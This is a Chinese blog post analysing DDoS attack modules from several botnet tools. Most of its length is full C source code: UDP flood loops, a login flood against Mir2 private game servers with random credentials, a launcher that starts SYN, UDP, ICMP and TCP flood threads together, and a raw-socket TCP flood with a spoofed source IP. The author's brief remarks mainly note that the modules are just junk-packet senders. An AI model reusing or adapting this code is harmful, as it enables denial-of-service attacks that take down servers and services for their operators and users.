对现有的所能找到的DDOS代码(攻击模块)做出一次分析----其他(攻击方式)篇
//=================================================================================
文章作者:alalmn—飞龙
分析者:alalmn—飞龙 BLOG:http://hi.baidu.com/alalmn
分析的不好请各位高手见谅花了几个小时分析的呵呵
没发现什么新鲜的东西还是以发送垃圾数据为主
//=================================================================================
Maxer-路由专攻-传奇专攻.h
//LUYOU攻击
DWORD WINAPI LuyouFlood(LPVOID dParam) //路由专攻 这样是攻击 路由吗我看和其他发包一样 忽悠老百姓呢
{ //我看就socket这个地方使用了使用了UDP啊 没什么的啊
srand((unsigned)time( NULL )); //产生随机数
PDDOSINFO pddosinfo = (PDDOSINFO)dParam; //攻击结构体
DDOSINFO ddosinfo; //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存
WSADATA WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本
SOCKADDR_IN udpaddr;//IP信息结构
udpaddr.sin_family=AF_INET;//sin_family 地址家族(必须是AF_INET)
udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//将网络地址转换成IP地址
udpaddr.sin_port=htons(ddosinfo.port);//存储端口号(使用网络字节顺序)
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket IPPROTO_UDP是创建UDP socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
//为了减小CPU的利用率,禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端,而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项 设置发送和接收的超时 //SOCKET_ERROR创建错误
while(1) //死循环
{
if(IsStop==1) //判断攻击状态
{
ExitThread(0);
return 0;
}
for(int a=0;a<12;a++)
{
int sendsize=rand()%512;//随机数据
char senddata[1024];
senddata[sendsize];
memset(senddata,sendsize,sendsize); //随机数据长度 信息
sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //发送TCP报文
}
Sleep(20);
}
}
/************************************************************************/
//LUYOU攻击
DWORD WINAPI LuyouFlood(LPVOID dParam) //传奇专攻 我还想着是模拟用户登陆传奇呢!!!! 失望
{//只设置1线程 防止IP被封
srand((unsigned)time( NULL ));
PDDOSINFO pddosinfo = (PDDOSINFO)dParam; //攻击结构体
DDOSINFO ddosinfo; //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存
WSADATA WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本
SOCKADDR_IN udpaddr;//IP信息结构
udpaddr.sin_family=AF_INET;//sin_family 地址家族(必须是AF_INET)
udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//将网络地址转换成IP地址
udpaddr.sin_port=htons(ddosinfo.port);//存储端口号(使用网络字节顺序)
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket IPPROTO_UDP是创建UDP socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
//为了减小CPU的利用率,禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端,而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项 设置发送和接收的超时 //SOCKET_ERROR创建错误
while(1) //死循环
{
if(IsStop==1) //判断攻击状态
{
ExitThread(0);
return 0;
}
for(int a=0;a<12;a++)
{
int sendsize=rand()%512;//随机数据
char senddata[1024];
senddata[sendsize];
memset(senddata,sendsize,sendsize); //随机数据长度 信息
sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //发送TCP报文
}
Sleep(20);
}
}
//=================================================================================
NetBot_Attacker-私服专攻.h
int Mir2EnCode(BYTE *pInBuff,DWORD dwInLen,BYTE *pOut,DWORD dwOutLen)
{
DWORD var_20 = 0;
BYTE var_1B = 0;
BYTE var_1A = 0;
BYTE var_19 = 0;
DWORD var_18 = 0;
DWORD var_14 = 0;
DWORD var_10 = 0;
DWORD var_C = 0;
DWORD var_8 = 0;
DWORD var_4 = 0;
BYTE bAL = 0;
BYTE bCL = 0;
DWORD dwEAX;
DWORD dwEDX;
DWORD dwECX;
var_20 = dwInLen ;
while(var_20 >0)
{
dwEDX = var_10 ;
bAL = pInBuff[dwEDX];
var_1A = bAL ;
dwECX = var_14 ;
dwECX = dwECX +2;
bAL = var_1A;
dwEAX = bAL ;
dwEAX = dwEAX >> dwECX ;
bAL = dwEAX ;
bAL = bAL | var_1B;
bAL = bAL & 0x3F;
var_19 = bAL;
dwEAX = var_14 ;
dwEAX = dwEAX +2;
dwECX = 8;
dwECX = dwECX - dwEAX ;
bAL = var_1A;
dwEAX = bAL ;
dwEAX = dwEAX << dwECX ;
dwEAX = dwEAX >> 2;
bAL = dwEAX ;
bAL = bAL & 0x3F ;
var_1B = bAL ;
var_14 = var_14 +2;
if(var_14<6)
{
dwEDX = var_18;
bCL = var_19;
bCL = bCL + 0x3C ;
pOut[dwEDX] = bCL ;
var_18 = var_18 +1;
}
else
{
dwEDX = var_18;
bCL = var_19;
bCL = bCL + 0x3C ;
pOut[dwEDX] = bCL ;
dwEDX = var_18 ;
bCL = var_1B ;
bCL = bCL + 0x3C;
pOut[dwEDX+1] = bCL ;
var_18 = var_18 + 2;
dwEAX = 0;
var_14 = 0;
var_1B = 0;
}
var_10 = var_10 +1;
var_20 = var_20 -1;
}
if(var_14 > 0)
{
dwEDX = var_18;
bCL = var_1B;
bCL = bCL + 0x3C ;
pOut[dwEDX] = bCL ;
var_18 = var_18 +1;
}
dwOutLen = var_18;
pOut[var_18]=0;
return 1;
}
typedef struct
{
union
{
DWORD dwFlag;
struct
{
WORD wa;
WORD wb;
};
};
WORD wCmd;
WORD w1;
WORD w2;
WORD w3;
char data[1024];
}MMSG;
const char table[]="0123456789abcdefghijklmnopqrstuvwxyz";
unsigned long CALLBACK Login_Attack(LPVOID dParam) //私服专攻
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2) ,&WSAData);
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(fuckweb.FuckPort); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); //将网络地址转换成IP地址
MMSG *pmsg;
pmsg=(MMSG*)malloc(sizeof(MMSG));
memset(pmsg,0,sizeof(MMSG)); //内存空间初始化
pmsg->wCmd=0x07d1;
int nSize,RandSize;
char name[22],pass[10],tempdata[128],Senddata[128];
memset(name,0,22);//内存空间初始化
memset(pass,0,10);//内存空间初始化
memset(tempdata,0,128);//内存空间初始化
memset(Senddata,0,128);//内存空间初始化
while(!stopfuck)
{
do
{
RandSize=SEU_Rand(20); //自定义的随机数发生器
} while(RandSize<5);
for(int i=0;i<RandSize;i++)
{
name=table[SEU_Rand(36)]; //自定义的随机数发生器
}
for(i=0;i<9;i++)
{
pass=table[SEU_Rand(36)]; //自定义的随机数发生器
}
sprintf(pmsg->data,"%s/%s",name,pass); //字符格式化
RandSize = strlen(pmsg->data) +12; //strlen计算字符长度
Mir2EnCode((BYTE *)pmsg,RandSize,(BYTE *)tempdata,nSize); //没明白他这个是做什么
sprintf(Senddata,"#0%s!",tempdata); //字符格式化
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
{
closesocket(m_hSocket); //关闭SOCKET
continue; //退出本次循环
}
if(SOCKET_ERROR==send(m_hSocket,Senddata,strlen(Senddata),0))//发送消息 是否发送成功
continue; //退出本次循环
recv(m_hSocket,tempdata,128,0); //从一个套接口接收数据
closesocket(m_hSocket); //关闭SOCKET
}
return 1;
}
/************************************************************************/
路由专攻 //代码被删除了
pMainDlg->m_FuckWeb.FuckType=11;
智能混合攻击 //结合着一些攻击模式
pMainDlg->m_FuckWeb.FuckType=12;
::CreateThread(NULL,0,SynFlood,NULL,0,NULL);
::CreateThread(NULL,0,UDP_flood,NULL,0,NULL);
::CreateThread(NULL,0,icmp_flood,NULL,0,NULL);
::CreateThread(NULL,0,Pjam_attack,NULL,0,NULL);
::CreateThread(NULL,0,connect_break,NULL,0,NULL);
::CreateThread(NULL,0,TCP_flood,NULL,0,NULL);
::CreateThread(NULL,0,TCP_connect,NULL,0,NULL);
/************************************************************************/
//
暴风DDOSVIP2010-225---聊天室专用模式(流量).h
void ltsattack() //聊天室专用模式(流量) 聊天室都是使用UDP协议 创建协议的时候改成UDP就可以了
{
char senddata[MAX_PATH]="夂扇i鋺.牾.砝摝c5. 軫f玴.吤3?峌贄."; //攻击数据
int sendsize=strlen(senddata); //计算数据长度
SOCKADDR_IN udpaddr; //IP信息结构
udpaddr.sin_family=AF_INET; //sin_family 地址家族(必须是AF_INET)
udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
udpaddr.sin_port=htons(tgtPort); //存储端口号(使用网络字节顺序)
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket IPPROTO_UDP是创建UDP socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项 设置发送和接收的超时 //SOCKET_ERROR创建错误
for (;;)
{
if(StopFlag==1)//是否在攻击状态
{
ExitThread(0);
return;
}
for(int a=0;a<12;a++)
sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //发送UDP报文
Sleep(SleepTime);
}
closesocket(s); //关闭SOCKET
WSACleanup();
}
/************************************************************************/
void finattack()
{
srand((unsigned) time(NULL));
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET SendSocket;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
PSD_HEADER psd_header;
char rawip[20]="192.168.1.244";
char SendBuff[100];
SendSocket = WSASocket( AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED );
if( SendSocket == INVALID_SOCKET )
return;
BOOL Flag = TRUE;
if( setsockopt(SendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&Flag, sizeof(Flag)) == SOCKET_ERROR )
return;
int Timeout = 5000;
if ( setsockopt(SendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *) &Timeout, sizeof(Timeout)) == SOCKET_ERROR )
return;
SOCKADDR_IN Sin;
Sin.sin_family = AF_INET;
Sin.sin_port = tgtPort;
Sin.sin_addr.s_addr = inet_addr(tgtIP);
ip_header.h_verlen = (4<<4 | sizeof(ip_header)/sizeof(unsigned long));
ip_header.tos = 0;
ip_header.total_len = htons(sizeof(ip_header)+sizeof(tcp_header));
ip_header.ident = 1;
ip_header.frag_and_flags = 0x40;
ip_header.ttl = rand()%256;
ip_header.proto = IPPROTO_TCP;
ip_header.checksum = 0;
ip_header.sourceIP = inet_addr(rawip);
ip_header.destIP = inet_addr(tgtIP);
tcp_header.th_sport = htons( rand()%60000 + 1 );
tcp_header.th_dport = htons( tgtPort );
tcp_header.th_seq = htonl( rand()%900000000 + 1 );
tcp_header.th_ack = 0;
tcp_header.th_lenres = (sizeof(tcp_header)/4<<4|0);
tcp_header.th_flag = 0;
tcp_header.th_win = htons(512);
tcp_header.th_sum = 0;
tcp_header.th_urp = 0;
psd_header.saddr = ip_header.sourceIP;
psd_header.daddr = ip_header.destIP;
psd_header.mbz = 0;
psd_header.ptcl = IPPROTO_TCP;
psd_header.tcpl = htons(sizeof(tcp_header));
memcpy(SendBuff,&psd_header,sizeof(psd_header));
memcpy(SendBuff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT*)SendBuff,sizeof(psd_header)+sizeof(tcp_header));
memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header, sizeof(tcp_header));
memset(SendBuff+sizeof(ip_header)+sizeof(tcp_header),0,4);
ip_header.checksum=checksum((USHORT*)SendBuff,sizeof(ip_header)+sizeof(tcp_header));
memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
while (1)
{
if (StopFlag == 1)
{
ExitThread(0);
return;
}
for(int a=0;a<1000;a++)
sendto(SendSocket, SendBuff, sizeof(ip_header) + sizeof(tcp_header), 0, (struct sockaddr *) &Sin, sizeof(Sin));
Sleep(SleepTime);
}
return;
}
else if (hua=="模拟访问(网站)") //代码被删除了
{
bao=6;
}
else if (hua=="模拟Linux(网站)") //代码被删除
{
bao=18;
}
else if (hua=="聊天室专用模式(流量)") //有
{
bao=19;
}
else if (hua=="IE浏览模式(网站)") //没有对这个攻击模式的处理
{
bao=25;
}
//=========================================================
对现有的所能找到的DDOS代码(攻击模块)做出一次分析----其他(攻击方式)篇相关推荐
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----自定义攻击篇
对现有的所能找到的DDOS代码(攻击模块)做出一次分析----自定义攻击篇 //=================================================== 分析者:alal ...
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----UDP篇
//========================================= 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----UDP篇 文章作者:alalmn-飞龙 信息来源: ...
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----SYN(洪水攻击)篇
对现有的所能找到的DDOS代码(攻击模块)做出一次分析----SYN(洪水攻击)篇 //======================================================== ...
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----ICMP篇
分析者:alalmn-飞龙 BLOG:http://hi.baidu.com/alalmn 分析的不好请各位高手见谅花了几个小时分析的呵呵 ICMP洪水攻击从代码中我们可以看出都是 自定义 ...
- 对现有的所能找到个DDOS代码(攻击模块)做出一次分析----TCP篇
分析者:alalmn-飞龙 BLOG:http://hi.baidu.com/alalmn 分析的不好请各位高手见谅花了几个小时分析的呵呵 TCP攻击主要分为2种 1.TCP并发连接攻击 ...
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----CC篇
//================================================================================= 分析者:alalmn-飞龙 ...
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----GET篇
//================================================================================= 分析者:alalmn-飞龙 ...
- 在php里面找出有用的代码,如何在多个源代码文件中 找到某段代码?
有一个网站里面有个图片链接已经失效,并且某明奇妙多出了一些字符. 现在我想在多个源代码文件中php或者数据库中找到这段代码,并且修正. 请问有没有好的方法? 回复内容: 有一个网站里面有个图片链接已经 ...
- 韩国大面积断网事情,可能遭受了DDoS攻击,网友:真的是黑客攻击吗?
大家好,我是辣条. 昨天刷微博看到一个热搜爆了,韩国竟然出现大面积断网事情,重要的是官方发布可能是遭受到了DDoS攻击,这就吸引到我的兴趣了. 这个事情对韩国影响还是很大的,各行各业都遭受很大的冲击, ...
最新文章
- 2022-2028年中国抗菌不锈钢行业研究及前瞻分析报告
- java中的数组_Java中的数组
- 再来一个吊打百度网盘的开源神器,还是99年妹子开发的
- 单行文字垂直/水平跑马灯效果
- 数据库的字段是date java里面能用timestamp吗_数据库中DATETIME,DATE和TIMESTAMP类型 的区别...
- java script的图片隐藏,java和javascript中过滤掉img形式的字符串不显示图片的方法...
- 迫于误解压力,RMS从自由软件基金会与MIT离职
- about-ie下模拟input file上传功能失效
- 7649:我家的门牌号
- datax 高级_GitHub - HeyTool/DataX
- 基于MNIST数据集的Batch Normalization(批标准化层)
- 自动驾驶是一门怎样的生意?盘点5家创业公司商业落地的3条逻辑
- python抓取图片_Python3简单爬虫抓取网页图片
- SQL Server 2005 中行号的显示,分页
- 新手背代码被说“笨”?文科程序员教你如何记代码,妈妈再也不用担心我的头发!
- SeaweedFS安全配置(Security Configuration)
- VMware vSphere Esxi官网下载页面链接
- wincc逻辑运算符_wincc逻辑运算符_wincc中表达式及公式
- Springcloud微服务中多模块重复代码重构成公共模块的实现
- 【Win 10 应用开发】MIDI 音乐合成——音符消息篇